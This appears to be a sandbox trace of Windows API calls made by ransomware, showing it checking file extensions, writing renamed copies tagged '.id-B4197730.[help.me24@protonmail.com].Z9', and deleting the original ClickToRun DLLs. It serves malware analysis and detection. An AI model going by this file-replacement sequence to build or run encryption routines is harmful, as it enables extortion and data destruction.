	[0084.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.357] lstrlenW (lpString=".zip") returned 4
	[0084.357] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.357] lstrlenW (lpString=".rar") returned 4
	[0084.357] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.357] lstrlenW (lpString=".bz2") returned 4
	[0084.357] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.357] lstrlenW (lpString=".7z") returned 3
	[0084.357] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.357] lstrlenW (lpString=".dbf") returned 4
	[0084.357] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.357] lstrlenW (lpString=".1cd") returned 4
	[0084.357] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.357] lstrlenW (lpString=".jpg") returned 4
	[0084.357] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.357] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.357] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31
	[0084.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.358] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=18624) returned 1
	[0084.358] CloseHandle (hObject=0x320) returned 1
	[0084.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20
	[0084.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.359] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.359] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0084.359] GetLastError () returned 0x0
	[0084.359] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x48c0, lpOverlapped=0x0) returned 1
	[0084.361] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x48d0, lpOverlapped=0x0) returned 1
	[0084.362] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.362] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x112, lpOverlapped=0x0) returned 1
	[0084.362] SetEndOfFile (hFile=0x358) returned 1
	[0084.363] CloseHandle (hObject=0x358) returned 1
	[0084.364] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.364] SetEndOfFile (hFile=0x320) returned 1
	[0084.365] CloseHandle (hObject=0x320) returned 1
	[0084.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.365] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 1
	[0084.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.366] lstrlenW (lpString=".doc") returned 4
	[0084.366] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.366] lstrlenW (lpString=".docx") returned 5
	[0084.366] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.366] lstrlenW (lpString=".pdf") returned 4
	[0084.366] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.366] lstrlenW (lpString=".xls") returned 4
	[0084.366] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.366] lstrlenW (lpString=".xlsx") returned 5
	[0084.366] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.366] lstrlenW (lpString=".ppt") returned 4
	[0084.366] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.366] lstrlenW (lpString=".zip") returned 4
	[0084.366] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.366] lstrlenW (lpString=".rar") returned 4
	[0084.366] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.366] lstrlenW (lpString=".bz2") returned 4
	[0084.366] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.366] lstrlenW (lpString=".7z") returned 3
	[0084.366] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.366] lstrlenW (lpString=".dbf") returned 4
	[0084.366] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.366] lstrlenW (lpString=".1cd") returned 4
	[0084.366] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.367] lstrlenW (lpString=".jpg") returned 4
	[0084.367] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.367] lstrlenW (lpString=".doc") returned 4
	[0084.367] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.367] lstrlenW (lpString=".docx") returned 5
	[0084.367] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.367] lstrlenW (lpString=".pdf") returned 4
	[0084.367] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.367] lstrlenW (lpString=".xls") returned 4
	[0084.367] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.367] lstrlenW (lpString=".xlsx") returned 5
	[0084.367] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.367] lstrlenW (lpString=".ppt") returned 4
	[0084.367] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.367] lstrlenW (lpString=".zip") returned 4
	[0084.367] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.367] lstrlenW (lpString=".rar") returned 4
	[0084.367] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.367] lstrlenW (lpString=".bz2") returned 4
	[0084.367] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.367] lstrlenW (lpString=".7z") returned 3
	[0084.367] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.367] lstrlenW (lpString=".dbf") returned 4
	[0084.367] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.367] lstrlenW (lpString=".1cd") returned 4
	[0084.367] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.367] lstrlenW (lpString=".jpg") returned 4
	[0084.367] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.368] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.368] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39
	[0084.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.368] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=21184) returned 1
	[0084.368] CloseHandle (hObject=0x320) returned 1
	[0084.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20
	[0084.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.368] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.369] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0084.369] GetLastError () returned 0x0
	[0084.369] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x52c0, lpOverlapped=0x0) returned 1
	[0084.740] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x52d0, lpOverlapped=0x0) returned 1
	[0084.741] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.742] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x122, lpOverlapped=0x0) returned 1
	[0084.742] SetEndOfFile (hFile=0x358) returned 1
	[0084.742] CloseHandle (hObject=0x358) returned 1
	[0084.743] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.743] SetEndOfFile (hFile=0x320) returned 1
	[0084.744] CloseHandle (hObject=0x320) returned 1
	[0084.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.744] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 1
	[0084.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0084.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0084.745] lstrlenW (lpString=".doc") returned 4
	[0084.745] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.745] lstrlenW (lpString=".docx") returned 5
	[0084.745] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.745] lstrlenW (lpString=".pdf") returned 4
	[0084.745] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.745] lstrlenW (lpString=".xls") returned 4
	[0084.745] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.745] lstrlenW (lpString=".xlsx") returned 5
	[0084.745] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.745] lstrlenW (lpString=".ppt") returned 4
	[0084.745] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0084.745] lstrlenW (lpString=".zip") returned 4
	[0084.745] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.745] lstrlenW (lpString=".rar") returned 4
	[0084.745] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.745] lstrlenW (lpString=".bz2") returned 4
	[0084.745] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.745] lstrlenW (lpString=".7z") returned 3
	[0084.745] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0084.745] lstrlenW (lpString=".dbf") returned 4
	[0084.745] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0084.745] lstrlenW (lpString=".1cd") returned 4
	[0084.745] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0084.745] lstrlenW (lpString=".jpg") returned 4
	[0084.745] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0084.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0084.746] lstrlenW (lpString=".doc") returned 4
	[0084.746] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.746] lstrlenW (lpString=".docx") returned 5
	[0084.746] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.746] lstrlenW (lpString=".pdf") returned 4
	[0084.746] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.746] lstrlenW (lpString=".xls") returned 4
	[0084.746] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.746] lstrlenW (lpString=".xlsx") returned 5
	[0084.746] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.746] lstrlenW (lpString=".ppt") returned 4
	[0084.746] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0084.746] lstrlenW (lpString=".zip") returned 4
	[0084.746] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.746] lstrlenW (lpString=".rar") returned 4
	[0084.746] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.746] lstrlenW (lpString=".bz2") returned 4
	[0084.746] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.746] lstrlenW (lpString=".7z") returned 3
	[0084.746] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0084.746] lstrlenW (lpString=".dbf") returned 4
	[0084.746] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0084.746] lstrlenW (lpString=".1cd") returned 4
	[0084.746] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0084.746] lstrlenW (lpString=".jpg") returned 4
	[0084.746] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.747] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.747] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35
	[0084.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.747] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=26816) returned 1
	[0084.747] CloseHandle (hObject=0x320) returned 1
	[0084.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20
	[0084.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.747] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.747] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0084.748] GetLastError () returned 0x0
	[0084.748] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x68c0, lpOverlapped=0x0) returned 1
	[0084.749] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x68d0, lpOverlapped=0x0) returned 1
	[0084.751] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.751] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0084.751] SetEndOfFile (hFile=0x358) returned 1
	[0084.751] CloseHandle (hObject=0x358) returned 1
	[0084.752] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.752] SetEndOfFile (hFile=0x320) returned 1
	[0084.753] CloseHandle (hObject=0x320) returned 1
	[0084.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.754] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1
	[0084.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0084.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0084.754] lstrlenW (lpString=".doc") returned 4
	[0084.754] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.754] lstrlenW (lpString=".docx") returned 5
	[0084.754] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.754] lstrlenW (lpString=".pdf") returned 4
	[0084.754] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.754] lstrlenW (lpString=".xls") returned 4
	[0084.754] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.754] lstrlenW (lpString=".xlsx") returned 5
	[0084.754] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.754] lstrlenW (lpString=".ppt") returned 4
	[0084.754] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0084.754] lstrlenW (lpString=".zip") returned 4
	[0084.754] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.755] lstrlenW (lpString=".rar") returned 4
	[0084.755] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.755] lstrlenW (lpString=".bz2") returned 4
	[0084.755] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.755] lstrlenW (lpString=".7z") returned 3
	[0084.755] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0084.755] lstrlenW (lpString=".dbf") returned 4
	[0084.755] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0084.755] lstrlenW (lpString=".1cd") returned 4
	[0084.755] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0084.755] lstrlenW (lpString=".jpg") returned 4
	[0084.755] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
